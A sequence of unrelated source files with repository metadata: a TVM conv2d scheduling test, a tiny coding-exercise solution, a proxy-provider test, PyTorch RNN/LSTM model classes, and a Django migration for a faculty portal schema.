Fl = s.cache_read(filt_packed, storage_scope, [Y])
# cache write for the output (Y)
Yl = s.cache_write(Y, storage_scope)
########################
# cache write schedule #
########################
# loop schedule corresponding with nhwc8h8w32c layout
# using k to represent output channel
n, ho, wo, ko, hi, wi, ki = s[Y].op.axis
# loop split h and compute cache write at outer loop split
# to increase cache usage by factor of h_split_factor
koo, koi = s[Y].split(ko, factor=k_split_factor)
hoo, hoi = s[Y].split(ho, factor=h_split_factor)
s[Y].reorder(n, koo, hoo, koi, hoi, wo, hi, wi, ki)
s[Yl].compute_at(s[Y], hoo)
####################
# compute schedule #
####################
# loop schedule corresponding with nhwc8h8w32c layout
# using k to represent output channel
n, ho, wo, ko, hi, wi, ki = s[Yl].op.axis
# reduction axes
# using rc to represent (reduction) input channel
rh, rw, rc = s[Yl].op.reduce_axis
# split input channel by the block size
rco, rci = s[Yl].split(rc, factor=block_C)
# loop split h and compute cache write at outer loop split
# to increase cache usage by factor of h_split_factor
koo, koi = s[Yl].split(ko, factor=k_split_factor)
hoo, hoi = s[Yl].split(ho, factor=h_split_factor)
s[Yl].reorder(n, koo, hoo, koi, hoi, wo, rco, hi, wi, ki, rci)
s[Xl].compute_at(s[Yl], hoo)
s[Fl].compute_at(s[Yl], hoo)
binds = {}
if storage_scope and storage_scope != "global":
with tvm.transform.PassContext():
Xb = tvm.tir.decl_buffer(shape, name="Xb", dtype=dtype, scope=storage_scope)
Yb = tvm.tir.decl_buffer(output_shape, name="Yb", dtype=dtype, scope=storage_scope)
binds = {X: Xb, Y: Yb}
return (s, [X, filt_packed, Y], binds)
def conv2d_packed_filter_nhwhwc(
shape_nhwc,
shape_oihw8i32o4i,
kernel_size,
stride,
padding,
dtype,
k_split_factor,
h_split_factor,
storage_scope="global",
):
"""
Conv2d TE wherein the input activation is defined by its
logical NHWC shape, but the filter is provided in the
packed layout oihw8i32o4i. The physical packed layout used
for the activation is: nhw8h8wc
"""
assert kernel_size == tuple(shape_oihw8i32o4i[2:4])
block_shape = get_block_shape()
block_H, block_W, block_C = block_shape
shape = get_packed_activation_layout(shape_nhwc, block_shape, packed_C=False)
logical_output_shape = get_conv2d_nhwc_shape(
shape_nhwc,
kernel_size,
stride,
padding,
[1, 1],
shape_oihw8i32o4i[0] * shape_oihw8i32o4i[5],
)
output_shape = get_packed_activation_layout(logical_output_shape, block_shape, packed_C=False)
N, H, W, C = shape_nhwc
X = te.placeholder(shape_nhwc, dtype=dtype)
# Combination of padding required by conv2d operator and padding to evenly divisible
# number of blocks. Note that this padding should be inlined in the schedule so
# as to avoid input copying.
pad_h = (block_H - ((H + padding[1]) % block_H)) % block_H
pad_w = (block_W - ((W + padding[3]) % block_W)) % block_W
X_pad = topi.nn.pad(X, [0, padding[0], padding[2], 0], [0, pad_h, pad_w, 0], pad_value=0)
# Calculate packed layout
packed_shape = get_packed_activation_layout(X_pad.shape, block_shape, packed_C=False)
X_packed = te.compute(
packed_shape, lambda n, ho, wo, hi, wi, c: X_pad[n, ho * block_H + hi, wo * block_W + wi, c]
)
# Filter shape using KCRS (OIHW) notation
filter_Ki, filter_Ci, filter_Cii = 32, 32, 4
assert shape_oihw8i32o4i[-1] == filter_Cii
assert shape_oihw8i32o4i[-2] == filter_Ki
assert shape_oihw8i32o4i[-3] == filter_Ci // filter_Cii
filt_packed = te.placeholder(shape_oihw8i32o4i, dtype=dtype)
rh = te.reduce_axis((0, kernel_size[0]), name="rh")
rw = te.reduce_axis((0, kernel_size[1]), name="rw")
rc = te.reduce_axis((0, C), name="rc")
def compute(n, ho, wo, hi, wi, k):
# Construct blockized strided conv2d height index
h = ho * block_H + hi
h_contig = h * stride[0] + rh
h_block_id = h_contig // block_H
h_block_offset = h_contig % block_H
# Construct blockized strided conv2d width index
w = wo * block_W + wi
w_contig = w * stride[1] + rw
w_block_id = w_contig // block_W
w_block_offset = w_contig % block_W
# Construct flat filter input channel indices
rco = rc // filter_Ci
rcio = (rc % filter_Ci) // filter_Cii
rcii = rc % filter_Cii
# Construct split filter output channel index
ko = k // filter_Ki
ki = k % filter_Ki
return te.sum(
X_packed[n, h_block_id, w_block_id, h_block_offset, w_block_offset, rc]
* filt_packed[ko, rco, rh, rw, rcio, ki, rcii],
axis=[rh, rw, rc],
)
Y = te.compute(output_shape, compute)
s = te.create_schedule(Y.op)
# Ensure the padding and array packing is performed inline
s[X_pad].compute_inline()
s[X_packed].compute_inline()
# cache read for the input / activation (X)
Xl = s.cache_read(X_packed, storage_scope, [Y])
Fl = s.cache_read(filt_packed, storage_scope, [Y])
# cache write for the output (Y)
Yl = s.cache_write(Y, storage_scope)
########################
# cache write schedule #
########################
# loop schedule corresponding with nhw8h8wc layout
# using k to represent output channel
n, ho, wo, hi, wi, k = s[Y].op.axis
# split output channel by the block size
ko, ki = s[Y].split(k, factor=block_C)
# loop split h and compute cache write at outer loop split
# to increase cache usage by factor of h_split_factor
koo, koi = s[Y].split(ko, factor=k_split_factor)
hoo, hoi = s[Y].split(ho, factor=h_split_factor)
s[Y].reorder(n, koo, hoo, koi, hoi, wo, hi, wi, ki)
s[Yl].compute_at(s[Y], hoo)
####################
# compute schedule #
####################
# loop schedule corresponding with nhw8h8wc layout
# using k to represent output channel
n, ho, wo, hi, wi, k = s[Yl].op.axis
# reduction axes
# using rc to represent (reduction) input channel
rh, rw, rc = s[Yl].op.reduce_axis
# split output & input channel by the block size
ko, ki = s[Yl].split(k, factor=block_C)
rco, rci = s[Yl].split(rc, factor=block_C)
# loop split h and compute cache write at outer loop split
# to increase cache usage by factor of h_split_factor
koo, koi = s[Yl].split(ko, factor=k_split_factor)
hoo, hoi = s[Yl].split(ho, factor=h_split_factor)
s[Yl].reorder(n, koo, hoo, koi, hoi, wo, rco, hi, wi, ki, rci)
s[Xl].compute_at(s[Yl], hoo)
s[Fl].compute_at(s[Yl], hoo)
#######################
# cache read schedule #
#######################
# loop schedule corresponding with nhw8h8wc layout
# using k to represent output channel
n, ho, wo, hi, wi, c = s[Xl].op.axis
# split intput channel by the block size
co, ci = s[Xl].split(c, factor=block_C)
s[Xl].reorder(n, ho, wo, co, hi, wi, ci)
binds = {}
if storage_scope and storage_scope != "global":
with tvm.transform.PassContext():
Xb = tvm.tir.decl_buffer(shape, name="Xb", dtype=dtype, scope=storage_scope)
Yb = tvm.tir.decl_buffer(output_shape, name="Yb", dtype=dtype, scope=storage_scope)
binds = {X: Xb, Y: Yb}
return (s, [X, filt_packed, Y], binds)
class BaseConv2d:
batch = tvm.testing.parameter(1)
in_size = tvm.testing.parameter(8, 56, 64)
in_channel = tvm.testing.parameter(64, 128)
out_channel = tvm.testing.parameter(64, 128)
kernel = tvm.testing.parameter(1, 3)
stride = tvm.testing.parameter(1)
pad = tvm.testing.parameter(0, 1)
dtype = tvm.testing.parameter("float32")
k_split_factor = tvm.testing.parameter(1, 2)
h_split_factor = tvm.testing.parameter(1, 2)
class TestConv2dLogical(BaseConv2d):
@tvm.testing.parametrize_targets("llvm")
def test_conv2d(self, shape_nhwc, shape_oihw, kernel, stride, pad, dtype, target):
inputs = [
np.random.uniform(0, 255, size=shape_nhwc).astype(dtype),
np.random.uniform(0, 255, size=shape_oihw).astype(dtype),
]
np_filter = inputs[1].transpose(2, 3, 1, 0)
ref_output = testing.conv2d_nhwc_python(inputs[0], np_filter, stride, pad)
output = build_and_run(
inputs,
conv2d_logical,
target,
target,
shape_nhwc=shape_nhwc,
shape_oihw=shape_oihw,
kernel_size=(kernel, kernel),
stride=(stride, stride),
padding=(pad, pad, pad, pad),
dtype=dtype,
)
# nhwc8h8w32c -> nhwc
output = output.transpose(0, 1, 4, 2, 5, 3, 6).reshape(
output.shape[0],
output.shape[1] * output.shape[4],
output.shape[2] * output.shape[5],
output.shape[3] * output.shape[6],
)
# slice output to match ref_output shape
# e.g. 8x8 spatial 3x3 filter = 6x6 ref output
# but still 8x8 output given the blocked layout
output = output[
0 : ref_output.shape[0] : 1,
0 : ref_output.shape[1] : 1,
0 : ref_output.shape[2] : 1,
0 : ref_output.shape[3] : 1,
]
if "int" in dtype:
tol = {"atol": 0, "rtol": 0}
elif dtype == "float32":
tol = {"rtol": 1e-4, "atol": 2e-4}
tvm.testing.assert_allclose(output, ref_output, **tol)
class TestConv2dPackedFilter(BaseConv2d):
conv2d_impl = tvm.testing.parameter(conv2d_packed_filter, conv2d_packed_filter_nhwhwc)
@tvm.testing.parametrize_targets("llvm")
def test_conv2d(
self,
conv2d_impl,
shape_nhwc,
shape_oihw,
shape_oihw8i32o4i,
kernel,
stride,
pad,
dtype,
target,
k_split_factor,
h_split_factor,
):
inputs = [
np.random.uniform(0, 255, size=shape_nhwc).astype(dtype),
np.random.uniform(0, 255, size=shape_oihw8i32o4i).astype(dtype),
]
np_filter = (
inputs[1].transpose(0, 5, 1, 4, 6, 2, 3).reshape(shape_oihw).transpose(2, 3, 1, 0)
)
ref_output = testing.conv2d_nhwc_python(inputs[0], np_filter, stride, pad)
output = build_and_run(
inputs,
conv2d_impl,
target,
target,
shape_nhwc=shape_nhwc,
shape_oihw8i32o4i=shape_oihw8i32o4i,
kernel_size=(kernel, kernel),
stride=(stride, stride),
padding=(pad, pad, pad, pad),
dtype=dtype,
k_split_factor=k_split_factor,
h_split_factor=h_split_factor,
)
# nhwc8h8w32c
if len(output.shape) == 7:
# nhwc8h8w32c -> nhwc
output = output.transpose(0, 1, 4, 2, 5, 3, 6).reshape(
output.shape[0],
output.shape[1] * output.shape[4],
output.shape[2] * output.shape[5],
output.shape[3] * output.shape[6],
)
# nhwhwc
else:
# nhwhwc -> nhwc
output = output.transpose(0, 1, 3, 2, 4, 5).reshape(
output.shape[0],
output.shape[1] * output.shape[3],
output.shape[2] * output.shape[4],
output.shape[5],
)
# slice output to match ref_output shape
# e.g. 8x8 spatial 3x3 filter = 6x6 ref output
# but still 8x8 output given the blocked layout
output = output[
0 : ref_output.shape[0] : 1,
0 : ref_output.shape[1] : 1,
0 : ref_output.shape[2] : 1,
0 : ref_output.shape[3] : 1,
]
if "int" in dtype:
tol = {"atol": 0, "rtol": 0}
elif dtype == "float32":
tol = {"rtol": 1e-4, "atol": 2e-4}
tvm.testing.assert_allclose(output, ref_output, **tol)
if __name__ == "__main__":
sys.exit(pytest.main(sys.argv))
| 33.8512
| 100
| 0.608735
| 3,001
| 21,157
| 4.098634
| 0.098634
| 0.041138
| 0.013659
| 0.018293
| 0.827886
| 0.803333
| 0.780244
| 0.763333
| 0.757154
| 0.743333
| 0
| 0.027348
| 0.275843
| 21,157
| 624
| 101
| 33.905449
| 0.775472
| 0.219029
| 0
| 0.717445
| 0
| 0
| 0.010362
| 0
| 0
| 0
| 0
| 0
| 0.027027
| 1
| 0.019656
| false
| 0.007371
| 0.019656
| 0
| 0.088452
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1395b9838baf90e39954353a5d89da8537585725
| 127
|
py
|
Python
|
codesignal/arcade/python/intro_19_are_equally_strong.py
|
tinesife94/random
|
b802924dce4635ae074d30dc03962d4301bd6d8b
|
[
"MIT"
] | null | null | null |
codesignal/arcade/python/intro_19_are_equally_strong.py
|
tinesife94/random
|
b802924dce4635ae074d30dc03962d4301bd6d8b
|
[
"MIT"
] | null | null | null |
codesignal/arcade/python/intro_19_are_equally_strong.py
|
tinesife94/random
|
b802924dce4635ae074d30dc03962d4301bd6d8b
|
[
"MIT"
] | null | null | null |
def solution(yourLeft, yourRight, friendsLeft, friendsRight):
return {yourLeft, yourRight} == {friendsLeft, friendsRight}
| 31.75
| 63
| 0.76378
| 11
| 127
| 8.818182
| 0.636364
| 0.350515
| 0.57732
| 0.824742
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125984
| 127
| 3
| 64
| 42.333333
| 0.873874
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
13af37b298edd255b96bb27fcb8bbdc54601e748
| 159
|
py
|
Python
|
tests/providers/http_proxy_provider_test.py
|
peng4217/scylla
|
aa5133d7c6d565c95651fc75b26ad605da0982cd
|
[
"Apache-2.0"
] | 3
|
2019-02-19T04:49:59.000Z
|
2021-01-15T12:36:50.000Z
|
tests/providers/http_proxy_provider_test.py
|
peng4217/scylla
|
aa5133d7c6d565c95651fc75b26ad605da0982cd
|
[
"Apache-2.0"
] | null | null | null |
tests/providers/http_proxy_provider_test.py
|
peng4217/scylla
|
aa5133d7c6d565c95651fc75b26ad605da0982cd
|
[
"Apache-2.0"
] | 3
|
2019-02-19T04:50:00.000Z
|
2021-01-15T12:37:04.000Z
|
from scylla.providers import HttpProxyProvider
from .helpers import assert_provider
def test_http_proxy_provider():
assert_provider(HttpProxyProvider())
| 22.714286
| 46
| 0.836478
| 18
| 159
| 7.111111
| 0.666667
| 0.21875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.106918
| 159
| 6
| 47
| 26.5
| 0.901408
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0.25
| true
| 0
| 0.5
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
13b3711dbef4bcc9c8481b5e6c1b9a12b30d7d31
| 10,373
|
py
|
Python
|
clutils/models/RNN.py
|
AndreaCossu/ContinualLearning_RecurrentNetworks
|
8cbc247f1f660f7acb94868696d128e538ad72f4
|
[
"MIT"
] | 2
|
2021-05-27T14:43:11.000Z
|
2021-05-28T00:47:05.000Z
|
clutils/models/RNN.py
|
AndreaCossu/ContinualLearning_RecurrentNetworks
|
8cbc247f1f660f7acb94868696d128e538ad72f4
|
[
"MIT"
] | null | null | null |
clutils/models/RNN.py
|
AndreaCossu/ContinualLearning_RecurrentNetworks
|
8cbc247f1f660f7acb94868696d128e538ad72f4
|
[
"MIT"
] | null | null | null |
import torch
import torch.nn as nn
from .utils import expand_output_layer
from ..globals import OUTPUT_TYPE, choose_output
from torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence
class VanillaRNN(nn.Module):
"""
Layers are described by the following names:
'rnn' -> recurrent module
'out' -> linear readout
Use dict(model.layers[layername].named_parameters()) to get {key : value} dict for parameters of layername.
"""
def __init__(self, input_size, hidden_size, output_size, device,
num_layers=1, dropout=0., bidirectional=False,
truncated_time=0, relu=False, orthogonal=False):
'''
:param truncated_time: an integer representing the
time step to backpropagate (from the end of sequence).
'''
super(VanillaRNN, self).__init__()
self.output_type = OUTPUT_TYPE.LAST_OUT
self.is_recurrent = True
self.input_size = input_size
self.hidden_size = hidden_size
self.output_size = output_size
self.num_layers = num_layers
self.activation = 'relu' if relu else 'tanh'
self.dropout = dropout if self.num_layers > 1 else 0.
self.bidirectional = bidirectional
self.directions = 2 if self.bidirectional else 1
self.device = device
self.orthogonal = orthogonal
self.truncated_time = truncated_time
self.layers = nn.ModuleDict([])
self.layers.update([
['rnn', nn.RNN(self.input_size, self.hidden_size,
num_layers=self.num_layers, nonlinearity=self.activation,
batch_first=True, dropout=self.dropout,
bidirectional=self.bidirectional) ]
])
if self.orthogonal:
for _, hh, _, _ in self.layers['rnn'].all_weights:
nn.init.orthogonal_(hh)
self.layers.update([
['out', nn.Linear(self.directions*self.hidden_size, self.output_size) ]
])
self.layers = self.layers.to(self.device)
def forward(self, x, h=None, truncated_time=None):
'''
:param x: (batch_size, seq_len, input_size)
:param h: hidden state of the recurrent module
:return out: (batch_size, seq_len, directions*hidden_size)
:return h: hidden state of the recurrent module
'''
tr_time = truncated_time if truncated_time else self.truncated_time
if tr_time > 0:
with torch.no_grad():
if h:
out_h1, h1 = self.layers['rnn'](x[:, :-tr_time, :], h)
else:
out_h1, h1 = self.layers['rnn'](x[:, :-tr_time, :])
out_h2, h2 = self.layers['rnn'](x[:, -tr_time:, :], h1)
out = self.layers['out'](out_h2)
out_h = torch.cat((out_h1, out_h2), dim=0)
else:
if h:
out_h, h = self.layers['rnn'](x, h)
else:
out_h, h = self.layers['rnn'](x)
out = self.layers['out'](out_h)
return choose_output(out, out_h, self.output_type)
def reset_memory_state(self, batch_size):
'''
:param batch_size: size of current batch.
'''
h = torch.zeros(self.directions*self.num_layers, batch_size, self.hidden_size,
device=self.device)
return h
def expand_output_layer(self, n_units=2):
self.layers["out"] = expand_output_layer(self.layers["out"], n_units)
def get_layers(self):
return self.layers.values()
class LSTM(nn.Module):
"""
Layers are described by the following names:
'rnn' -> recurrent module
'out' -> linear readout layer
Use dict(model.layers[layername].named_parameters()) to get {key : value} dict for parameters of layername.
"""
def __init__(self, input_size, hidden_size, output_size, device,
num_layers=1, dropout=0., bidirectional=False,
truncated_time=0, orthogonal=False):
'''
:param truncated_time: an integer representing the
time step to backpropagate (from the end of sequence).
'''
super(LSTM, self).__init__()
self.output_type = OUTPUT_TYPE.LAST_OUT
self.is_recurrent = True
self.input_size = input_size
self.hidden_size = hidden_size
self.output_size = output_size
self.num_layers = num_layers
self.dropout = dropout if self.num_layers > 1 else 0.
self.bidirectional = bidirectional
self.directions = 2 if self.bidirectional else 1
self.device = device
self.orthogonal = orthogonal
self.truncated_time = truncated_time
self.layers = nn.ModuleDict([])
self.layers.update([
['rnn', nn.LSTM(self.input_size, self.hidden_size, \
self.num_layers, batch_first=True, dropout=self.dropout, \
bidirectional=self.bidirectional) ]
])
if self.orthogonal:
for _, hh, _, _ in self.layers['rnn'].all_weights:
# lstm divides hidden matrix into 4 chunks
# https://pytorch.org/docs/stable/nn.html?highlight=lstm#torch.nn.LSTM
for j in range(0, hh.size(0), self.hidden_size):
nn.init.orthogonal_(hh[j:j+self.hidden_size])
self.layers.update([
['out', nn.Linear(self.directions*self.hidden_size, self.output_size) ]
])
self.layers = self.layers.to(self.device)
def forward(self, x, h=None, truncated_time=None):
'''
:param x: (batch_size, seq_len, input_size)
:param h: hidden state of the recurrent module
:return out: (batch_size, seq_len, directions*hidden_size)
:return h: hidden state of the recurrent module
'''
tr_time = truncated_time if truncated_time else self.truncated_time
if tr_time > 0:
with torch.no_grad():
if h:
out_h1, h1 = self.layers['rnn'](x[:, :-tr_time, :], h)
else:
out_h1, h1 = self.layers['rnn'](x[:, :-tr_time, :])
out_h2, h2 = self.layers['rnn'](x[:, -tr_time:, :], h1)
out = self.layers['out'](out_h2)
out_h = torch.cat((out_h1, out_h2), dim=0)
else:
if h:
out_h, h = self.layers['rnn'](x, h)
else:
out_h, h = self.layers['rnn'](x)
out = self.layers['out'](out_h)
return choose_output(out, out_h, self.output_type)
def reset_memory_state(self, batch_size):
'''
:param batch_size: size of current batch.
'''
h = (
torch.zeros(self.directions*self.num_layers, batch_size, self.hidden_size,
device=self.device),
torch.zeros(self.directions*self.num_layers, batch_size, self.hidden_size,
device=self.device)
)
return h
def expand_output_layer(self, n_units=2):
self.layers["out"] = expand_output_layer(self.layers["out"], n_units)
def get_layers(self):
return self.layers.values()
class SketchLSTM(nn.Module):
"""
Layers are described by the following names:
'rnn' -> recurrent module
'out' -> linear readout layer
Use dict(model.layers[layername].named_parameters()) to get {key : value} dict for parameters of layername.
"""
def __init__(self, input_size, hidden_size, output_size, device,
num_layers=1, dropout=0., bidirectional=False,
orthogonal=False):
super(SketchLSTM, self).__init__()
self.is_recurrent = True
self.input_size = input_size
self.hidden_size = hidden_size
self.output_size = output_size
self.num_layers = num_layers
self.dropout = dropout if self.num_layers > 1 else 0.
self.bidirectional = bidirectional
self.directions = 2 if self.bidirectional else 1
self.device = device
self.orthogonal = orthogonal
self.layers = nn.ModuleDict([])
self.layers.update([
['rnn', nn.LSTM(self.input_size, self.hidden_size, \
self.num_layers, batch_first=True, dropout=self.dropout, \
bidirectional=self.bidirectional) ]
])
if self.orthogonal:
for _, hh, _, _ in self.layers['rnn'].all_weights:
# lstm divides hidden matrix into 4 chunks
# https://pytorch.org/docs/stable/nn.html?highlight=lstm#torch.nn.LSTM
for j in range(0, hh.size(0), self.hidden_size):
nn.init.orthogonal_(hh[j:j+self.hidden_size])
self.layers.update([
['out', nn.Linear(self.directions*self.hidden_size, self.output_size) ]
])
self.layers = self.layers.to(self.device)
def forward(self, x, lengths=None, h=None):
'''
:param x: (batch_size, seq_len, input_size)
:param h: hidden state of the recurrent module
:return out: (batch_size, seq_len, directions*hidden_size)
:return h: hidden state of the recurrent module
'''
#x = pack_padded_sequence(x, lengths, batch_first=True, enforce_sorted=False)
if h:
out_h, h = self.layers['rnn'](x, h)
else:
out_h, h = self.layers['rnn'](x)
#out_h, lengths = pad_packed_sequence(out_h, batch_first=True)
# select appropriate h
#h = torch.gather(out_h, 1, lengths.unsqueeze(1).unsqueeze(1).repeat(1,1,out_h.size(-1)))
#h = h.squeeze(1) # (batch_size, hidden_size)
out = self.layers['out'](out_h[:, -1, :])
return out
def reset_memory_state(self, batch_size):
'''
:param batch_size: size of current batch.
'''
h = (
torch.zeros(self.directions*self.num_layers, batch_size, self.hidden_size,
device=self.device),
torch.zeros(self.directions*self.num_layers, batch_size, self.hidden_size,
device=self.device)
)
return h
def expand_output_layer(self, n_units=2):
self.layers["out"] = expand_output_layer(self.layers["out"], n_units)
def get_layers(self):
return self.layers.values()
| 32.722397
| 111
| 0.591729
| 1,306
| 10,373
| 4.503063
| 0.103369
| 0.074817
| 0.04285
| 0.028567
| 0.901717
| 0.901717
| 0.893726
| 0.893726
| 0.893726
| 0.893726
| 0
| 0.008346
| 0.295382
| 10,373
| 316
| 112
| 32.825949
| 0.796279
| 0.200328
| 0
| 0.854651
| 0
| 0
| 0.013116
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.087209
| false
| 0
| 0.02907
| 0.017442
| 0.186047
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
13d9528d4bd2d3af3cd8a41d72876be54fb4b978
| 8,843
|
py
|
Python
|
prof/migrations/0001_initial.py
|
nikhil-nk/IITG-Faculty-Portal
|
6d89b97cf44f7eb7c7778c79b3a3d9fda8d8fb0d
|
[
"MIT"
] | null | null | null |
prof/migrations/0001_initial.py
|
nikhil-nk/IITG-Faculty-Portal
|
6d89b97cf44f7eb7c7778c79b3a3d9fda8d8fb0d
|
[
"MIT"
] | null | null | null |
prof/migrations/0001_initial.py
|
nikhil-nk/IITG-Faculty-Portal
|
6d89b97cf44f7eb7c7778c79b3a3d9fda8d8fb0d
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.7 on 2017-11-16 20:31
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='award_achievement',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('year', models.CharField(max_length=100)),
('awarded_by', models.CharField(max_length=100)),
('awarded_at', models.CharField(max_length=100)),
],
),
migrations.CreateModel(
name='award_fellowships',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('year', models.CharField(max_length=100)),
('awarded_by', models.CharField(max_length=100)),
('awarded_at', models.CharField(max_length=100)),
],
),
migrations.CreateModel(
name='department',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
],
),
migrations.CreateModel(
name='education',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('university', models.CharField(max_length=100)),
('degree', models.CharField(max_length=100)),
('field', models.CharField(max_length=100)),
('year', models.CharField(max_length=100)),
],
),
migrations.CreateModel(
name='experience',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('designation', models.CharField(max_length=100)),
('university', models.CharField(max_length=100)),
('year_start', models.CharField(max_length=100)),
('year_end', models.CharField(max_length=100)),
],
),
migrations.CreateModel(
name='professor',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('first_name', models.CharField(max_length=100)),
('middle_name', models.CharField(max_length=100)),
('last_name', models.CharField(max_length=100)),
('designation', models.CharField(max_length=100)),
('email', models.CharField(max_length=100)),
('office', models.CharField(max_length=100)),
('phone', models.CharField(max_length=100)),
('residence', models.CharField(max_length=100)),
('about_me', models.CharField(max_length=2000)),
('department', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='prof.department')),
],
),
migrations.CreateModel(
name='project',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('PI', models.CharField(max_length=100)),
('FA', models.CharField(max_length=100)),
('year_start', models.CharField(max_length=100)),
('year_end', models.CharField(max_length=100)),
('professor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='prof.professor')),
],
),
migrations.CreateModel(
name='publication_books',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=1000)),
('published_at', models.CharField(max_length=100)),
('year', models.CharField(max_length=100)),
('description', models.CharField(max_length=1000)),
('co_authors', models.CharField(max_length=1000)),
('professor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='prof.professor')),
],
),
migrations.CreateModel(
name='publication_conferences',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=1000)),
('published_at', models.CharField(max_length=100)),
('year', models.CharField(max_length=100)),
('description', models.CharField(max_length=1000)),
('co_authors', models.CharField(max_length=1000)),
('professor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='prof.professor')),
],
),
migrations.CreateModel(
name='publication_journals',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=1000)),
('published_at', models.CharField(max_length=100)),
('year', models.CharField(max_length=100)),
('description', models.CharField(max_length=1000)),
('co_authors', models.CharField(max_length=1000)),
('professor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='prof.professor')),
],
),
migrations.CreateModel(
name='publication_thesis',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=1000)),
('published_at', models.CharField(max_length=100)),
('year', models.CharField(max_length=100)),
('description', models.CharField(max_length=1000)),
('co_authors', models.CharField(max_length=1000)),
('professor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='prof.professor')),
],
),
migrations.CreateModel(
name='student_completed',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('thesis_title', models.CharField(max_length=100)),
('year_start', models.CharField(max_length=100)),
('year_end', models.CharField(max_length=100)),
('professor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='prof.professor')),
],
),
migrations.CreateModel(
name='student_ongoing',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('thesis_title', models.CharField(max_length=100)),
('year_start', models.CharField(max_length=100)),
('year_end', models.CharField(max_length=100)),
('professor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='prof.professor')),
],
),
migrations.AddField(
model_name='experience',
name='professor',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='prof.professor'),
),
migrations.AddField(
model_name='education',
name='professor',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='prof.professor'),
),
migrations.AddField(
model_name='award_fellowships',
name='professor',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='prof.professor'),
),
migrations.AddField(
model_name='award_achievement',
name='professor',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='prof.professor'),
),
]
| 48.322404
| 117
| 0.57096
| 860
| 8,843
| 5.690698
| 0.110465
| 0.180834
| 0.217
| 0.289334
| 0.892113
| 0.859011
| 0.814875
| 0.814875
| 0.79955
| 0.79955
| 0
| 0.032753
| 0.28531
| 8,843
| 182
| 118
| 48.587912
| 0.741614
| 0.00769
| 0
| 0.781609
| 1
| 0
| 0.117191
| 0.002622
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.017241
| 0
| 0.04023
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
